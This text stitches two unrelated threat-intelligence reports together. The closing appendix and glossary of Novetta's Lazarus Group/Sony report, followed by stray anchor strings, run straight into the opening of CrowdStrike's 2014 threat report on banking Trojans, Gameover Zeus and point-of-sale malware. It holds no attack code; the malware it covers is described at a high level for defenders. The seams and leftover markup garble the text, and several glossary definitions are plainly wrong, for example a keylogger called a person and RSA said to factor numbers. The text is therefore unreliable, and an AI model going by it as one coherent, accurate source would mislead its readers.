For more information, including guidelines for restoration of targeted systems, see the National Security Agency report Defensive Best Practices for Destructive Malware61 and US-CERTs Handling Destructive Malware.62 5.2  Additional Resources and Reporting Novetta has released additional technical reports detailing the capabilities of identified Lazarus Group malware, detailing the RATs and attack staging and content distribution tools, the data exfiltration tools,the destructive malware wipers and DDoS bots, other identified network tools, and the installers, uninstallers, loaders.
YARA Rules link to microsite of yara rules Hashes link to microsite listing of hashes 61  Defensive Best Practices for Destructive Malware.
National Security Agency/Central Security Service.
January 16, 2015.
https://www.nsa.gov/ia/_files/factsheets/Defending_Against_Destructive_Malware.pdf 62  Handling Destructive Malware.
US-CERT.
November 4, 2013.
https://www.us-cert.gov/ncas/tips/ST13-003 Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 51 APX 6.
Appendix The following table expands on the evidence shown earlier in the report, including further notes on the malware variants.
The appendix table depicts the Lazarus Group code relationships and detections to further demonstrate the connection between variants observed in the SPE attacks, and other earlier publicly reported attacks.
For more information on the code relationships, contact trignovetta.com.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 52 6.
Appendix (continued) MALWARE VARIANT LAZARUS CODE RELATIONSHIPS OTHER NOTES OTHER AV DETECTIONS/ NAMES DeltaAlfa N/A Used in Ten Days of Rain attacks, identified as part of Operation Troy, dropped by IndiaGolf DDoS-KSig, Fibedol, Koredos DeltaBravo Suicide Script Dropped by IndiaFoxtrot DeltaCharlie RSA Transform, Space-Dot Encoding, Dynamic API Loading HotelAlfa N/A GOP server in the SPE attack Destover, DestoverServ, Nukesped, NukespedServ IndiaAlfa Suicide Script Installs RomeoAlfa Escad, Destover Messagethread, Destover BasicHwp, Mdrop IndiaBravo Dynamic API Loading, Basic XOR with Constant 0xA7, Space-Dot Encoding Installs RomeoBravo, RomeoCharlie, and PapaAlfa Escad, Destover Messagethread IndiaCharlie Directory Hierarchy Verification and Generation, Suicide Script Installs RomeoFoxtrot IndiaDelta Dynamic API Loading Installs LimaAlfa and WhiskeyCharlie IndiaEcho Suicide Script Installs LimaBravo, RomeoGolf, and IndiaBravo-RomeoBravo Escad IndiaFoxtrot Dynamic API Loading, Space-Dot Encoding, DNSCALC-style Encoding Installs RomeoWhiskey Escad, Winsec, Destover, Gamarue IndiaGolf Directory Hierarchy Verification and Generation, Suicide Script Installs RomeoMike and DeltaAlfa, Loads RomeoGolf, identified in Operation Troy Koredos, DDoS- KSig, QDDOS, Fibebol IndiaHotel  N/A Installs WhiskeyBravo and RomeoLima, identified in Operation Troy Wiper.
C IndiaJuliett  N/A Installs SierraJuliett-MikeOne and SierraBravo, IndiaJuliett signatures matched several Operation Troy hashes Escad, Joanap.d Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 53 MALWARE VARIANT LAZARUS CODE RELATIONSHIPS OTHER NOTES OTHER AV DETECTIONS/ NAMES IndiaKilo N/A Dropped by SierraJuliett-MikeOne during campaign IndiaWhiskey Dynamic API Loading, Space-Dot Encoding, Suicide Script Installs RomeoWhiskey Escad, KorDllbot backdoor service installer UniformAlfa Suicide Script Uninstalls RomeoBravo UniformJuliett Directory Hierarchy Verification and Generation, Suicide Script Uninstalls SierraJuliett-MikeOne KiloAlfa Suicide Script, DNSCALC-style encoding It is believed that RomeoDelta is responsible for collecting the keystroke log files generated by KiloAlfa, KiloAlfas suicide script contains similar strings as that of Dozer, the malware used in a July 2009 DDoS attack LimaAlfa Secure File Delete, Suicide Script Loads WhiskeyCharlie LimaBravo N/A Loads RomeoGolf BZub LimaCharlie Space-Dot Encoding, Dynamic API Loading Loads RomeoHotel Escad LimaDelta Suicide Script Loads IndiaGolf, identified in Operation Troy Koredos, DDoS- Ksig, QDDOS, Fibebol, Npkon PapaAlfa Space-Dot Encoding, Dynamic API Loading, Opening Windows Firewall Method Acts as a proxy for traffic specific to the Romeo-CoreOne based RATs Escad RomeoAlfa FakeTLS, Caracachs Shares a common core, Romeo- CoreOne Escad, Destover, NukeSped RomeoBravo DNSCALC-style Encoding Shares a common core, Romeo- CoreOne Escad RomeoCharlie DNSCALC-style Encoding, Opening Windows Firewall Method Shares a common core, Romeo- CoreOne Escad RomeoDelta Dynamic API Loading, Space-Dot Encoding, DNSCALC-style Encoding Uses the same CRSA code (specifically the custom RSATransform function) found in SierraJuliet-MikeOne and RomeoWhiskey Escad, Destover Windows updatetracing, NukeSped RomeoEcho DNSCALC-style Encoding, Datagram Format Escad, Darpapox RomeoFoxtrot Common Send/Recv.
Functions Dropped by IndiaCharlie RomeoGolf Fake TLS Loaded by LimaBravo, Dropped by IndiaEcho RomeoHotel FakeTLS, Caracachs Shares a common core, Romeo- CoreOne Escad Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 54 MALWARE VARIANT LAZARUS CODE RELATIONSHIPS OTHER NOTES OTHER AV DETECTIONS/ NAMES RomeoMike N/A The C2 component seen in the Ten Days of Rain attacks RomeoNovember DNSCALC-style Encoding Shares a common core, Romeo- CoreOne Escad RomeoWhiskey Socket Disconnect, Common Network Data Transmission and Receiving Function, Datagram Format One variant uses the same public key found in SierraJuliett-MikeOne KillFW, Escad, Winsec, KorDllbot, KillFW, Destover SierraAlfa Built specifically for the SPE attack, responsible for the distribution and activation of WhiskeyAlfa Destover, NukeSped, Escad, Wiper SierraBravo Suicide Script Uses the same public key as SierraJuliett-MikeOne as well as one same library Escad, Brambul, Joanap.c, Joanap.d SierraCharlie Suicide Script Shares a certificate with SierraJuliett- MikeOne, uses the same random IP generator as SierraBravo Escad SierraJuliett- MikeOne N/A Shares a public key with SierraBravo, RomeoWhiskey shares a certificate with SierraCharlie loads TangoCharlie Escad, Joanap SierraJuliett-MikeTwo Caracachs TangoAlfa Opening Windows Firewall Method Network Tester TangoBravo Suicide Script Domain Redirector, identified in Operation Troy Koredos TangoCharlie SierraJuliett-MikeOne payload Windows Firewall Disabler TangoDelta Suicide Script Antivirus Suite Killer Escad, Destover, NukeSped, Wiper WhiskeyAlfa Suicide Script One variant associated with the SPE attack also drops an additional malware family, HotelAlfa.
Another variant associated with the SPE attack includes a spreading mechanism specific to SPE infrastructure and an option to drop TangoDelta Destover, Escad, NukeSped, Wiper, KillFiles WhiskeyBravo Shares code with other malware families during the file destructive process Also profiled by McAfees analysis of the Ten Days of Rain incident1 KillFiles, DDoS- KSig, Fibebol, Koredos, QDDOS WhiskeyCharlie Secure File Delete WhiskeyDelta DNSCALC-style Encoding KillDisk, HDDKill, MBRKiller, KillMBR, Basutra 1  Ten Days of Rain: Expert analysis of distributed denial-of-service attacks targeting South Korea.
McAfee.
2011.
http://www.mcafee.com/us/resources/white-papers/wp-10-days-of-rain.pdf Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 55 7.
Glossary of Terms Operation Blockbuster frequently uses technical terminology and abbreviations that may be unfamiliar to certain audiences.
Therefore, we have compiled the following glossary of terms to serve as a reference for readers.
For further information on terminology or report details, please contact trignovetta.com.
Terms Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 56 7.
Glossary API (Application Programming Interface) Set of routines and tools for creating software and applications.
C2 (Command and Control) Infrastructure used to control malware.
CNO (Computer Network Operations) Intentional actions taken to improve networks and user compatibility.
DDoS Attack (Distributed Denial-of-Service) A type of attack where many compromised systems target a single system making it unavailable to the intended user.
DNSCALC Malware used by several APT groups and first profiled in 2010.
Known for the use of DNS lookups for domain names that would return specific IP addresses used to calculate the listening port number for the C2 server.
Guardians of Peace (GOP) The hacker group who claimed to use destructive malware to attack Sony Pictures Entertainment by releasing confidential information.
Hangul Word Processor (HWP) Word processing application created by the South Korean company Hancom Inc. IDS (Intrusion Detection Signatures) A pattern that allows identification of signatures.
Installers Software that allows applications to run on a computer.
International Civil Aviation Organization (ICAO) UN organization that promotes security and aviation regulation.
JoongAng Attack The June 2012 attack on conservative media organization JoongAng carried out by hacker group IsOne using two North Korean servers and 17 servers in 10 other countries.
Keylogger Someone who tracks and notes each keystroke made on a computer, usually without permission from the user.
Master Boot Record (MBR) The information located in the first sector of a hard disk.
This identifies where the system is located so that it can be loaded into the main storage.
Microsoft EMET (Enhanced Mitigation Experience Toolkit) A tool that helps prevent software from being exploited by hackers.
P2P (Peer-to-Peer) An application that distributes tasks between peers.
PDB (Program Database) Path A path for storing data about how to identify and remove information from a program.
Proxy Trojan A type of Trojan designed to use the victims computer as a proxy server.
This allows the attacker to commit illegal activities from a separate host.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 57 RATs (Remote Access Trojans) A malware program that includes an entry point for administrative control over a computer.
These are usually invisible to users and are downloaded through platforms such as online games and email attachments.
RSA (Rivest, Shamir, and Adelman) An algorithm developed to better factor large numbers.
SMB (Server Message Block) Used for enabling shared access to files between users on a network.
Sony Pictures Entertainment (SPE) An American Entertainment Incorporation and a supplementary piece of media conglomerate Sony.
Spreaders Those who try to cause other computers to become infected with viruses.
Ten Days of Rain Attacks Attacks that targeted South Koreas media, financial, and critical infrastructure targets.
TLS (Transport Layer Security) Protocols created to provide communications security over a network.
Totem An open-source Novetta developed framework for large- scale file analysis and triage.
TTPs (Tools, Techniques and Processes) The extensive and varied toolset which effectively combines a number of methods for delivering additional malicious tools, exfiltrating data, and launching destructive attacks.
Uninstallers Various utility software that is created to remove parts from a computer.
VPN (Virtual Private Network) A network that is created by using the internet to connect to a private network as a platform for transporting data.
Wipers A security measure taken to completely erase the data from a hard disk.
YARA A tool used by researchers to identify malware samples based on various patterns and rules.
McLean, Virginia  Headquarters 7921 Jones Branch Drive 5th Floor McLean, VA 22102 Phone: (571) 282-3000 www.novetta.com www.
OperationBlockbuster.com h.gjdgxs h.30j0zll h.1fob9te h.3znysh7 h.2et92p0 h.tyjcwt h.3dy6vkm h.1t3h5sf h.4d34og8 h.3rdcrjn h.26in1rg h.lnxbz9 h.35nkun2 h.1ksv4uv h.44sinio h.2jxsxqh h.z337ya h.3j2qqm3 h.1y810tw h.4i7ojhp h.2xcytpi h.1ci93xb h.2bn6wsx h.qsh70q h.3as4poj h.1pxezwc h.49x2ik5 h.147n2zr h.3o7alnk h.23ckvvd h.ihv636 h.32hioqz h.1hmsyys h.41mghml h.2grqrue h.vx1227 h.3fwokq0 h.1v1yuxt h.4f1mdlm h.2u6wntf h.3tbugp1 h.28h4qwu h.nmf14n h.1mrcu09 h.46r0co2 h.2lwamvv h.111kx3o h.3l18frh h.206ipza h.4k668n3 h.2zbgiuw h.1egqt2p h.3ygebqi h.2dlolyb h.sqyw64 h.3cqmetx h.1rvwp1q h.g5fsqkaf1cau h.2r0uhxc h.1664s55 h.3q5sasy Caveats 1.
Executive Summary 1.1  Key Takeaways 2.
Operation Details 2.1  Hunting Method 3.
Lazarus Group Details 3.1  The SPE Attack and Conflicting Attribution 3.2  Tactics, Techniques, and Procedures (TTPs) 3.3  Targeting 3.4  Links to Previous Reporting The Lazarus Group Timeline 4.
Malware Tooling 4.1  Naming Scheme 4.2  Infrastructure 4.3  Code Relationships 4.3.1  Encryption 4.3.2  Dynamic API Loading 4.3.3  Network Functionality 4.3.4  Directory Hierarchy Verification and Generation 4.3.5  Secure File Delete 4.3.6  Target File Identification 5.
Conclusion 5.
Conclusion (continued) YARA Rules Hashes 6.
Appendix 7.
Glossary of Terms
www .
c r ow d s t r i k e .
c om CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n 2 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n INTRODUCTION .........................................................................4 KEY FINDINGS ............................................................................7 STATE OF THE UNION .............................................................9 NOTABLE ACTIVITY ............................................................... 13 Criminal ................................................................................ 13 State ...................................................................................... 19 Hacktivist/Nationalist ............................................................. 25 2014 Zero-Day Activity ........................................................... 34 Event-Driven Operations ......................................................... 39 KNOW THE ADVERSARY ....................................................49 Effect of Public Reporting on Adversary Activity ........................ 49 HURRICANE PANDA .................................................................50 GOTHIC PANDA ..........................................................................55 Overview of Russian Threat Actors ........................................... 57 2015 PREDICTIONS.................................................................61 CONCLUSION ........................................................................... 73 Table of Contents: Introduction intelligence powers everything we do.
Dive into the top threat actors, attack vectors, and threat intelligence trends of 2014.
4 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n At CrowdStrike, Intelligence powers everything we do.
This is not a corporate slogan, and it is not a marketing theme.
It is the realization of having the most dedicated professionals focusing on solving problems that have real strategic, political, and financial impact on our customers.
When we consider the problems facing our customers, we know that intelligence allows them to make key decisions that can mean the difference between disaster and triumph.
In the earliest days building CrowdStrike, we drew heavily on the concepts encompassed in Colonel John Boyds OODA loop (OODA is an acronym for Observe, Orient, Decide, Act).
It has been applied over the years to all manner of decision-making situations.
The core of the OODA model is that a decision-making process is broken into phases, and in an adversarial encounter, two entities will go through the same process.
Whichever entity goes through the process the fastest will likely prevail.
The reason that intelligence powers everything we do is that we seek to provide our customers with the ability to come to a decision (the last step of the OODA loop) before the adversary does, thus ensuring a favorable outcome.
In intelligence circles, this is often referred to as decision advantage, and when dealing with adversaries trying to compromise your enterprise security, you want it.
Throughout 2014, the activity monitored by CrowdStrike in the cyber domain was reflective of the events unfolding in the real world.
This was punctuated in late 2014 with the now-infamous attack attributed to North Korean actors who levied destructive malware in a flagrant assault against a private entity.
The actor in this case, which CrowdStrike has traced back to 2006, has a history of using destructive code against its targets.
This actor again launched attacks in December against its usual adversary, the Republic of Korea.
The highly publicized events that initially suppressed the release of a movie deemed offensive by the Democratic Peoples Republic of Korea resulted in unprecedented awareness of the power that one adversary can wield against a target if they are suitably motivated.
This final chapter in 2014 closed out what was a year of attribution and adversary focus.
In May, the U.S. Department of Justice, in concert with various partners including CrowdStrike researchers, disrupted the infrastructure of Gameover Zeus, a prolific Intro: 5 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n botnet that was the scourge of security practitioners across the globe.
This disruption, which also impacted the nefarious CryptoLocker malware, provided the pause in adversary activity needed by law enforcement to levy charges and take legal action to permanently impact this malware.
In that same month, the U.S. Department of Justice charged five officers in the Peoples Liberation Army, the military organ of the Peoples Republic of China, with violating 18 U.S. Code  1030.
In June, CrowdStrike published a detailed analysis of an actor associated with the 12th Bureau of the Third General Staff Department.
This report demonstrated a direct lineage between malware targeting a variety of western technology and government targets, and an individual in the Chinese intelligence service.
The events that unfolded in the South China Sea near the Paracel Islands, the emergence of ISIS, the unrest in Ukraine, and the disappearance of a Malaysian airliner all took on a cyber element.
This is no coincidence.
The nation-states of the world are all seeking the aforementioned decision advantage, and they know that the use of interconnected computers allows them to collect intelligence that gives them the ability to make informed decisions.
Our customers rely on us to provide them intelligence to thwart these attacks and make informed decisions.
This report will provide an overview of some of the intelligence analyzed by the CrowdStrike team over the past year.
Wrapping so much analysis into one report means a lot of tough decisions needed to be made on what to include.
This report is structured to provide Key Findings first.
Following the key findings are some graph data based on the patterns that emerged though visibility attained by the CrowdStrike team this is meant to provide a snapshot of the dozens of adversaries tracked this year.
In the Notable Activity section, we cover the three motivations that we see: Criminal, Targeted-Intrusion, and Hacktivist/Activist.
We explore notable activity around zero-day exploits and event-specific operations conducted by these adversaries.
There are so many interesting actors we discovered this year, and even more that advanced from previous years the Know the Adversary section contains interesting observations for just a few of the adversaries from the intelligence reports we publish through the subscription service.
Finally, we provide an analysis of the 2013 report predictions for the past year, and a forecast of what to expect in 2015.
Intro: Key Findings In 2014, it became abundantly clear that threat intelligence would provide the decisive advantage when protecting your network.
7 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Key Findings: Financial crime malware disruptions in 2014 changed the threat landscape by eliminating two prevalent malware families.
Since the high-profile Target breach in 2013, Point- of-Sale (PoS) malware became prevalent in the targeting of numerous retail organizations.
Look for policy and process changes to mitigate this threat in 2015.
China-based adversaries continued to be the most prolific in the targeted intrusion space, but public reporting on a number of actors linked to Iran and Russia show the breadth of the threat from targeted intrusion operators.
High-profile events continued to drive a significant number of targeted intrusion campaigns.
In 2014, unpredictable events such as the Malaysia Airlines incidents and increased unrest in Ukraine drove campaigns more than planned events such as the World Cup or the G20 Summit.
Malicious activity related to elections in Ukraine and Hong Kong underscore the threat state-sponsored adversaries (and possibly hacktivist or nationalist actors) pose to democratic processes.
CrowdStrike reported on a number of new, sophisticated adversaries from China and Russia such as HURRICANE PANDA, GOTHIC PANDA, FANCY BEAR, and BERSERK BEAR.
State of the Union The CrowdStrike Global Intelligence team observed significant activity from 39 different criminal, hacktivist, state-sponsored, and nationalist adversaries.
9 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n State of the Union: During 2014, CrowdStrike Intelligence observed significant activity from 39 state-sponsored and nationalist adversaries targeting numerous verticals all over the globe.
The charts below provide a high-level illustration of this targeting.
There are a few takeaways from this data.
Vietnam and GOBLIN PANDA were respectively the most targeted country and the most active adversary.
From late spring through summer, GOBLIN PANDA conducted consistent targeted intrusion operations targeting organizations in Vietnam focused on tensions in the South China Sea.
These campaigns relied primarily on spear phishing with malicious documents that dropped malware (mostly PlugX) along with Vietnamese- language decoy documents.
The content of these decoys often came from documents produced by Vietnams government, which indicates that the adversary possibly infiltrated the governments network and was using stolen documents in its operations.
The frequency of GOBLIN PANDAs operations, and targeted activity aimed at Vietnam in general, tailed off in the final months of 2014, but the volume of activity in spring and summer was enough to push them to the top of CrowdStrikes targeting stats.
Observed AdversAry Activity during 2014 GOBLIN PANDA VIXeN PANDA DeeP PANDA eMISSARy PANDA eNeRGeTIC BeAR PIRATe PANDA FLyING KITTeN NUMBeReD PANDA LOTUS PANDA VICeROy TIGeR eXTReMe JACKAL PITTy PANDA GOTHIC PANDA DeADeye JACKAL PReDATOR PANDA DyNAMITe PANDA TeMPeR PANDA PALe PANDA VIOLIN PANDA SILeNT CHOLIMMA HURRICANe PANDA SABRe PANDA SAMURAI PANDA DAGGeR PANDA AURORA PANDA MAVeRICK PANDA KeyHOLe PANDA STONe PANDA SPICy PANDA 10 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n State of the Union: PlugX was by far the most used malware variant for targeted activity during 2014.
It proliferated greatly amongst China-based targeted intrusion adversaries and now appears to be the tool of choice for many.
The malware has been around for years and has been used by multiple Chinese actors for quite some time however, the frequency of PlugX use during 2014 revealed just how prominent it is.
PlugX is used by both more advanced China-based adversaries such as AURORA PANDA and adversaries of a lower level of sophistication such as GOBLIN PANDA.
The reason for its prevalence is not clear.
It is possible that there is a central malware dissemination channel supplying many Chinese adversaries and this is why so many groups are now using it.
It is also possible that groups not using it in the past were more recently able to obtain it via the underground or public malware repositories.
significAnt tArgeting by cOuntry in 2014 VIeTNAM UNITeD STATeS INDIA RUSSIA PHILLIPPINeS TAIWAN TIBeT JAPAN FRANCe VICeROy TIGeR MyANMAR THAILAND UK SOUTH KOReA MONGOLIA SAUDI ARABIA TURKey MALDIVeS PAKISTAN IRAN GeRMANy LAOS BRAZIL CANADA AUSTRALIA 11 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n State of the Union: The stats below also reflect a wide range of other malicious cyber activity associated with numerous other events.
The conflict in Ukraine resulted in targeted intrusion and other activity from both Russia-based and China- based adversaries.
Adversaries with a nexus to Iran were also very active in 2014 targeting western government entities as well as private organizations, particularly in the defense sector.
elections were also heavily targeted in 2014 both in Ukraine and in Hong Kong, where the Umbrella Revolution garnered a great deal of attention from Chinese actors.
These and a number of other topics are covered in more detail in the sections below.
MOst Observed MAlwAre vAriAnts fOr tArgeted intrusiOn OperAtiOns during 2014 significAnt tArgeting by sectOr during 2014 PLUGX eNFAL LINGBO POISON IVy SyNDICASeC eVILGRAB NAIKON NeT TRAVeLeR eLISe SAKULA PIRPI qUARIAN MIRAGe MeDUSA 9BLOG HTTPBROWSeR SUPeRMAN MAD HATTeR SyKIPOT DeRUSBI TAIDOOR PReSHIN GOVeRNMeNT DeFeNSe DISSIDeNT POLITICAL AeROSPACe FINANCIAL eNeRGy NGO TeCHNOLOGy eNGINeeRING AGRICULTURe TeLeCOM.
ReSeARCH INDUSTRIAL LeGAL HeALTHCARe TRANSPORTATION eXTRACTIVe MeDIA MANUFACTURING CHeMICAL UNIVeRSITy Notable Activity Financial crime malware changed the threat landscape, point-of- sale malware became increasingly prevalent, and China-based adversaries continued to proliferate in the targeted intrusion space.
13 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity Criminal CybERCRImE TRENDS IN 2014 2014 was an extremely active year for cybercrime.
Financial Trojans grew in both complexity and penetration.
Two major banking botnets  Gameover Zeus (GOZ) and Shylock  dominated the first half of the year.
Their development focused on the ability to deliver complex web injection scripts used to overcome two-factor authentication and online banking security.
Two large, successful disruptions were mounted mid-year with CrowdStrike assisting in a June takeover of GOZ (see the next section), and in Shylock being taken down in July.
For some time, this left a void in this space, but adversaries were very quick to adapt.
With many services that catered to GOZ and Shylock still in operation, it was inevitable other botnets would step up to the plate.
CrowdStrike is now observing two new major contenders in this space: Dyreza and Dridex, also known as Bugat.
Dyreza takes a more simplistic approach to banking fraud, acting to intercept logins and perform malicious actions by acquiring the HTTP POST data from under banking SSL sessions.
Dridex uses the classic banking Trojan tactic of relying on complex JavaScript web injects targeted at the institutions it wishes to steal from.
Both threats rely on the same criminal ecosystem as their predecessors.
Upatre, a loader previously used for delivering GOZ, is now being used to deliver Dyreza, and known loaders such as Andromeda, Smoke Loader, and Pony Loader continue to be developed in order to deliver these primary payloads.
The Cutwail and Pushdo botnets, previously tasked with distributing loaders for GOZ, have since been retasked, and, alongside other spamming botnets, are now delivering a number of phishing lures that ultimately lead to the infection with persistent payloads.
Dridex, for example, favors Word documents with obfuscated macros.
These macros, if allowed to execute, will reach out and download first-stage loaders that will then install the Dridex payload onto the victim machine.
14 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity In addition to the changing banking Trojan landscape, ransomware has also undergone a major shift throughout 2014  in particular becoming much more professionally organized.
CryptoLockers success made it the first ransomware variant to make it into prime-time news.
Its success was, in part, due to its wide distribution, acting as an alternative revenue stream for the operators of GOZ.
When GOZ was dismantled, CryptoLocker was also taken down, but now in its place many other copycat ransomware families are trying to replicate its success, such as CryptoWall and TorrentLocker.
So what is to be expected for the cybercrime landscape of 2015?
CrowdStrike predicts the continuation of development in banking Trojans such as Dyreza and Dridex.
As recently as November, Dridex has added Peer-to-Peer (P2P) functionality to its arsenal in an attempt to become more resilient, and it is likely changes in its capability will continue.
In addition, it is likely new threats will follow the business model of using of phishing lures delivered by spambots using a range of first-stage loaders to keep their primary payloads under the radar.
Ransomware will continue to become more of a threat as continued copycats try to develop the next market leader.
GAmEOvER ZEUS TAKEDOwN Gameover Zeus (GOZ) was a complex P2P botnet that has been one of the most prevalent cyber threats for almost four years.
It was forked off the infamous Zeus Trojan, the source code of which was leaked in spring 2011 just a few months before the appearance of the first GOZ version.
GOZ was largely used for banking fraud and the delivery of other malware, such as the CryptoLocker ransomware Trojan, and is believed to have caused more than 100 million in financial damage.
The GOZ botnet was long believed to be resistant to any takedown attempts because of its complex, tiered infrastructure: Infected machines form a decentralized P2P network, with some peers acting as proxy nodes (brokers between bots and the next tier).
This upper tier, again, consists of proxies that conceal the location of the actual back end.
The use of P2P technology eliminates static rendezvous points and allows the botnet operators to announce new centralized components at any time, which makes any 15 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity efforts against them pointless.
On top of this, a fallback mechanism generates a weekly-changing, deterministic set of 1,000 domain names that the botmaster can register in order to serve fresh peer lists.
Bots that fail to establish contact with the P2P network would consult the Domain Generation Algorithm (DGA) in order to retrieve a new set of peers.
Finally, all communication in the botnet is encrypted.
In June 2014, the botnet was disrupted in a coordinated effort called Operation Tovar that was the culmination of months of technical investigation and legal wrangling.
The botnet was disrupted by the taking over of its infrastructure and at the same time preventing access by the botmasters.
While this effort had to take into account and block all different communication channels, it was primarily focused on the P2P network, as it was the most complex component.
By propagating specially crafted messages in the botnet, its infrastructure was degenerated and bots were redirected to sinkholes.
The CrowdStrike Intelligence team provided technical expertise to permit the enforcement of a Temporary Restraining Order (TRO), which successfully disrupted not only the infamous Gameover Zeus botnet, but also CryptoLocker.
In addition to the technical disruption, the U.S. Department of Justice filed an indictment against an individual called evgeniy Mikhailovich Bogachev, who is believed to be behind the GOZ botnet, as well as several other unnamed co-conspirators.
POINT-OF-SAlE mAlwARE AND RElATED INTRUSIONS Credit card fraud has traditionally been popular in the cybercrime scene.
In cases where credit card data is stolen through website breaches, the exposed data usually consists of the card numbers, expiration dates, cardholder names, and card security codes.
However, with this data alone, it is not always possible to accurately recreate what can be found on a cards magnetic strip.
In the criminal marketplace, card track data is therefore generally more highly valued than the information mentioned above because it can be used in multiple ways, including manufacturing counterfeit credit cards.
Throughout 2014, CrowdStrike Intelligence investigated several large 16 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity breaches of U.S. companies in the retail sector.
These breaches involved targeting of Point-of-Sale (PoS) terminals in order to plunder consumer credit card information.
By infecting terminals with malware specifically designed to steal credit card information as the cards are swiped by customers, attackers were able to collect data for hundreds of thousands of credit cards.
Running in the background of a terminal, the malware would continuously scan memory for unique patterns found on a cards magnetic strip and exfiltrate matching data to an adversary-controlled server.
Most PoS malware families will attempt to validate data matching the search pattern using the Luhn Algorithm.
This algorithm, originally developed by IBM in the 1950s, allows for validation of card numbers by performing an arithmetic operation against them.
Despite being developed in the pre- modern computing era, the algorithm is still widely used in many modern systems including cell phone IMeI numbers, credit card numbers, and national identification numbers.
mAjOR PAYmENT SYSTEm BREACHS OF 2014 TIMeFRAMe OF GOODWILL BReACH TARGET NOTIFIES CUSTOmERS OF BREACH AlBERTSONS NOTIFIES CUSTOmERS OF BREACH DAIRY QUEEN NOTIFIES CUSTOmERS OF BREACH SAllY BEAUTY NOTIFIES CUSTOmERS OF BREACH mICHAElS NOTIFIES CUSTOmERS OF BREACH NEImAN mARCUS NOTIFIES CUSTOmERS OF BREACH BEBE NOTIFIES CUSTOmERS OF BREACH HOmE DEPOT NOTIFIES CUSTOmERS OF BREACH TARGeT CUSTOMeR BReACH TIeMFRAMe jImmY jOHNS NOTIFIES CUSTOmERS OF BREACH NOV.
2013 DeC. 2013 JAN.
2014 FeB. 2014 MAR.
2014 APR.
2014 MAy 2014 JUNe 2014 JULy 2014 AUG.
2014 SePT.
2014 SePT.
2014 OCT.
2014 NOV.
2014 DeC. 2014 17 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity TARGET BREACH On 19 December 2013, U.S.-based retailer Target released a statement confirming a breach and providing an estimate of the total scope.
According to the statement, the actors were able to steal data for approximately 40 million credit cards and up to 70 million individuals records with Personally Identifiable Information (PII).
From reporting about the breach, it is publicly speculated that the actors were able to access Targets network via credentials stolen from a Pennsylvania-based HVAC contractor that provided services to Target.
In January 2014, CrowdStrike Intelligence analyzed several files from the incident.
One of these files was a PoS malware named Kaptoxa (also known as mmon), which is used as a component in another PoS malware, BlackPoS.
This copy of Kaptoxa continuously scanned volatile memory of infected systems for patterns that looked like credit card numbers and logged them to a file that was transferred to an internal network share at regular intervals.
Another utility was deployed onto these network shares to perform the final exfiltration step in which the data was transferred to external FTP servers.
In January 2014, CrowdStrike identified a malware staging site that was hosting a copy of the BlackPoS source code.
While it is believed that this site is not linked to the Target breach, analysis of the source code provided additional insight into the simplicity of these tools.
Compared to other crimeware families, most PoS malware is relatively simple in design and functionality.
The malware used does not accept tasking from controllers or external systems its sole function is to scan, log, and exfiltrate data found.
Despite the simplistic nature of these tools, the adversary behind the Target breach demonstrated sophisticated tradecraft in mounting a successful operation, primarily by taking full advantage of the initial stolen credentials to laterally move throughout the targeted network into the PoS systems.
THE RISE OF COmmODITY POS In 2014, while several major companies were coping with breaches of their PoS infrastructure, many smaller retailers were facing the same threat from less-organized groups.
In underground marketplaces, ready-to-use PoS malware kits were becoming more commonly available.
18 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity Malware such as BlackPoS requires a bit of strategic planning on the part of the adversary much of the system lacks the point-and-click intuitive nature of commodity botnets.
For less-organized or less-skilled adversary groups, an off-the-shelf kit such as Dexter PoS may allow for exploitation and offensive capabilities that may not otherwise be possible.
Dexter, which CrowdStrike Intelligence reported on in 2013, became one of the most publicly known PoS malware kits on the market.
By late 2014, the source code for Dexter was publicly available on several criminal forums.
The malware scans memory for both Track 1 and Track 2 credit card data and exfiltrates its findings back to control servers over HTTP requests.
Dexter offers an adversary a clean, simple control panel, which allows for infected host management and viewing of obtained data.
In 2014, CrowdStrike investigated several other kits similar to Dexter, including vSkimmer and JackPoS, which also focused on stealing credit card numbers from infected terminals.
Many of these lacked technical sophistication, but were generally found to be effective in identifying and exfiltrating any found data.
dexter cOMMAnd- And-cOntrOl pAnel 19 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity State TARGETED INTRUSION TRENDS IN 2014 Incidents of targeted intrusion activity related to nation-state interests have been on the increase for the past several years.
Different states activities often reflect their national interests and agendas, or their deepest concerns.
As an example, Chinese nation-state actors appeared to clearly align and plan operations in support of real-world activities in the case of the Haiyang Shiyou 981 oil platform.
In direct contradiction to pre-planned operations, in the case of the Umbrella Revolution that dominated the streets of Hong Kong during the summer and fall of 2014, Chinese adversary groups were observed broadly targeting any and all organizations related to the civil unrest in a wild attempt to collect intelligence on the protestors and their movements.
During the course of 2014, CrowdStrike observed the continued proliferation of targeted intrusion activity.
Nation-states understand the value of collecting intelligence in the information domain and are mobilizing resources to capitalize on the intelligence opportunities that exist there.
While the CrowdStrike Intelligence team identified and analyzed well over a dozen new adversary groups worldwide in 2014, there were several that were of general interest.
